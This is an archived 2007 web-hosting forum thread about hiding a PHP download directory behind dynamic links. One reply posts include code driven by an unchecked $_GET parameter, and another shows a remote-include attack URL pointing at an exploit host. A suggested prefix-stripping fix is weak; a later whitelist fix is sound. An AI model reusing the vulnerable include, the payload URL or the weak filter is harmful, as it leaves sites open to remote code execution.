Web Hosting Talk







View Full Version : How to create dynamic PHP links


bithacker
11-26-2007, 12:26 PM
How can I create dynamic links for my website using PHP. Like if a directory is mydomain.com/download the user would see it mydomain.com/2+2=result etc.

Xlusive
11-26-2007, 12:47 PM
I don't quite understand how you would like to have dynamic links / directories? on your website.

Could you be more clear?

triXtyle
11-26-2007, 12:49 PM
it is impossible to have such links :)
the dynamic links look like this:
mydomain.com/?var=value
but mydomain.com/2+2=result .... impossible even for (bit)hacker like you :)

bithacker
11-26-2007, 12:51 PM
OK. I'm not a programmer but I'd try to make it clear. You see I have a directory called 'downloads' on my domain. What I wanna do is make sure that no one sees this in the address bar when I open it. Instead they see some dynamicly generated numbers etc. I did some search on google for this but there are programming examples which I don't understand

triXtyle
11-26-2007, 12:55 PM
$_GET["variable"] is the solution. Id if the variable exists with some value, use require_once mydomain.com/downloads/index.php
(I haven`t tried yet to require_once directory ...... you can be the first one who did that :D )

hycloud
11-26-2007, 12:59 PM
Apache and Mod Rewrite is your friend. Involves modifying httpd.conf file or/and .htaccess file.

Xenatino
11-26-2007, 01:00 PM
but mydomain.com/2+2=result .... impossible even for (bit)hacker like you

Not impossible, just requires workarounds... think mod_rewrite and Header("Location: ...")

OK. I'm not a programmer but I'd try to make it clear. You see I have a directory called 'downloads' on my domain. What I wanna do is make sure that no one sees this in the address bar when I open it. Instead they see some dynamicly generated numbers etc.

Still not quite sure what is required here, are you looking for a way to generate a link that expires after use, or give each download a unique ID?

I did some search on google for this but there are programming examples which I don't understand

Could you provide links to these 'programming examples' for us to get a better picture of what you require?

Steve_Arm
11-26-2007, 01:01 PM
What wrong with viewing the folder name?
Add an Options None and no one will know it's contents.

bithacker
11-26-2007, 01:09 PM
Something like this

http://www.phpfreaks.com/quickcode/Dynamic-Links-PHP/130.php

or maybe
http://f0rked.com/articles/dynamism

http://www.pixel2life.com/forums/index.php?showtopic=25516

bithacker
11-26-2007, 01:14 PM
Well if I could create a link that expires after use would be a plus on that too...and actually the wrong thing about viewing the download link is that it is 777 and you know what could happen to it.

Steve_Arm
11-26-2007, 02:49 PM
777 is not a problem, the problem would be this:
<? $file = $_GET["page"]; if (!isset($file)) { include"main.php"; } else { include

"$file.php"; } ?>


<a href="?page=main">Main</a>

<a href="?page=file">File</a>

PAss whatever you want to $_GET variable and you are done.

Xlusive
11-26-2007, 03:08 PM
777 is not a problem, the problem would be this:
<? $file = $_GET["page"]; if (!isset($file)) { include"main.php"; } else { include

"$file.php"; } ?>


<a href="?page=main">Main</a>

<a href="?page=file">File</a>

PAss whatever you want to $_GET variable and you are done.


And THAT way you create a security hole on the website.

What if i do domain.com/?page=http://www.exploit.com/exploitecode.php

and the admin/user clicks it and voila! security breach.

A way to prevent this is to make a function to strip out any http:// / www. and other prefixes out of the GET variable.

Renard Fin
11-26-2007, 03:23 PM
A way to prevent this is to make a function to strip out any http:// / www. and other prefixes out of the GET variable.


IPB code made it easier.


$permited = array ('forum', 'admin', 'main', 'other');

if (in_array($_GET['page'], $permited))
{
require_once('includes/'. $_GET['page'] . '.php');
}


Better even, in_array() is case sensitive.

jmmc
11-26-2007, 03:39 PM
thanks!!! needed help for this 2.